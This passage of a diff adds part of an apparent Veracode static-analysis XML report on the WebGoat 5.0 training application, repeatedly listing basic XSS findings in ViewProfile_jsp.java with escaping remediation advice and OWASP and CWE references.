+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"69\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"35\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"179\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"32\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getCcn().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"70\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"39\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"145\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.htmlEncode().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"73\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"40\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"76\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"119\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPersonalDescription().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"74\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"43\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"98\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"76\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"45\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"127\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"77\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"44\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"100\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"50\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"78\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"264\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"79\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"46\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"68\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
